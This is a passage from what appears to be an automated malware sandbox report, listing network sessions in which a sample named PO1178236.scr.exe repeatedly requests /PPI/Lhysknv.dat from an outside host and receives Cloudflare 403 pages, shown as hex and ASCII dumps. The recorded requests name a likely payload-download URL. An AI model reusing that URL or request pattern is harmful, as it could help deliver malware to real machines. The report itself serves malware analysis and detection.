3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5e57836728f</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:26 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 65 35 37 38 33 36 37 32 38 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5e57836728f',t:'MTczNjQwNzcwNi4wMDAwMDA='};v
2025-01-09 07:28:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:26 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:27 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:42 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LoD0iih1wAt1dO%2FGd5I9HX%2BIPrneY04QFPjuhJVpC6G8mTKbvhZfSEdGd%2BWrNb6ZWGBp2KMB%2F6v5ENrze9yhdTVTouJ7i%2By0WcJUlWSTgKTWywYgzRdYUJBjSbs0dvXu2Rx0ycnHr2bIVFkJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5e919c34337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1529&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1796923&cwnd=222&unsent_bytes=0&cid=368667ffd4761b47&ts=122&x=0"
2025-01-09 07:28:27 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 65 39 31 39 63 33 34 33 33 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5e919c34337</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:27 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 65 39 31 39 63 33 34 33 33 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5e919c34337',t:'MTczNjQwNzcwNy4wMDAwMDA='};v
2025-01-09 07:28:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:27 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:27 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:42 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xgHBdtjKlsZ1vusrCFOwChK9V1bm2R%2Fm7JnXtaizhc0MJ5GLWIdQuVSM9N1s5CQQyT9q%2Fw%2FkNx%2BEQZrdITRWYAmKsELQeGv1i0rNIuo8vVuWupUG7r7VtQ5JgJoCFCmi1kXgzWG%2FOXPdSzuo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5eccb0b1906-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1669&rtt_var=628&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1739130&cwnd=252&unsent_bytes=0&cid=1a8f15e7df0dbaee&ts=130&x=0"
2025-01-09 07:28:27 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:27 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 65 63 63 62 30 62 31 39 30 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5eccb0b1906</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:27 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 65 63 63 62 30 62 31 39 30 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5eccb0b1906',t:'MTczNjQwNzcwNy4wMDAwMDA='};v
2025-01-09 07:28:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:28 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:28 UTC	1017	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MPv54yjvqKBZ2U%2F%2BSa1yLEuzJ%2F%2FMwOwa4oN5%2FjZSlmuq2WUywjZOy040eDod%2BQ%2BzLqot4b80fCLOQNJ%2FnIB%2Fgve5QLT5gG8vKgN33Vl2V60oPwFpifurg3YvJvdVxPTxXvu3pFVfqvXTKMbR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5f0ebf74343-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1825000&cwnd=244&unsent_bytes=0&cid=a56aed292c180239&ts=127&x=0"
2025-01-09 07:28:28 UTC	352	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: d! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 66 30 65 62 66 37 34 33 34 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: er sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5f0ebf74343</strong></span> <span class="cf-footer-separator
2025-01-09 07:28:28 UTC	1010	IN	Data Raw: 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 66 30 65 62 66 37 34 33 34 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4f 43 34 77 4d 44 41 77 Data Ascii: ript> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5f0ebf74343',t:'MTczNjQwNzcwOC4wMDAw
2025-01-09 07:28:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49743	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:28 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
